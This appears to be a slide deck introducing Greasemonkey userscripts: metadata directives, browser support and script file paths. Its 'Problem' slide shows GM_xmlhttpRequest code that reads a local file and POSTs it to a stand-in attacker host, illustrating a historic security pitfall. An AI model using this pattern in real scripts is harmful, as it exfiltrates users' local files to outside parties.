class: center, middle # Greasemonkey UserScript [GitHub](https://github.com/sharils/slides/tree/greasemonkey-userscript-1.0.0/greasemonkey-userscript) --- class: center, middle # Greasemonkey UserScript manager --- class: center, middle # Browser Support Supported in Chrome natively Supported in Firefox as an Extension* ??? Supported in Firefox as an [Extension](https://addons.mozilla.org/en-Us/firefox/addon/greasemonkey/) --- class: center, middle # UserScript
.user.js Metadata Block* JavaScript ??? [Metadata Block](http://wiki.greasespot.net/Metadata_Block) --- class: center, middle # example.com.user.js sharils/slides$ cat example.com.user.js // ==UserScript== // @name Example // @namespace http://example.com/ // @description A simple example of UserScript // @match http://example.com/ // @require http://code.jquery.com/jquery-2.1.3.js // @version 1.0.0 // @grant none // @noframes // ==/UserScript== if (top === window) { alert(typeof this.$) } --- class: center, middle # global object if (this === window) { alert("won't show in Firefox"); } --- class: center, middle # @name x @namespace Together as an identifier --- class: center, middle # @match vs @include Use @match --- class: center, middle # @grant Firefox complains if missing --- class: center, middle # @noframes alert("show count of frames + 1 times in Chrome") --- class: center, middle # @require Chrome doesn't support --- class: center, middle # Chrome Extension ID [Chrome Extension ID](chrome-extensions.png) --- class: center, middle # Chrome File Path ~/ .config/ google-chrome/
/ Extensions/
/ <@version>_
/ script.js --- class: center, middle # Chrome File Path Example ~/ .config/ google-chrome/ Profile 1/ Extensions/ okfhfojoehlfgaomjbceecgpkhgcodid/ 1.0.0_0/ script.js --- class: center, middle # Change UserScript In Chrome Applied after chrome is restarted --- class: center, middle # Firefox File Path ~/ .mozilla/ firefox/
/ gm_scripts/ <@name>/
--- class: center, middle # Firefox File Path ~/ .mozilla/ firefox/ liwedlz1.default/ gm_scripts/ Example/ example.com.user.js --- class: center, middle # Change UserScript In Firefox Applied immediately --- class: center, middle # GM_xmlhttpRequest Allows requests to cross the same origin policy boundaries* ??? [GM_xmlhttprequest](http://wiki.greasespot.net/GM_xmlhttpRequest) --- class: center, middle # API [Other API](http://wiki.greasespot.net/Greasemonkey_Manual:API) --- class: center, middle # Problem _GM_xmlhttpRequest({ method: "GET", url: "file:///c:/boot.ini", onload: function(oResponseDetails) { _GM_xmlhttpRequest({ method: "POST", url: "http://evil.ru/", data: oResponseDetails.responseText }); } }); --- class: center, middle # XPCNativeWrappers [Common Pitfalls](http://wiki.greasespot.net/Avoid_Common_Pitfalls_in_Greasemonkey) --- class: center, middle # The End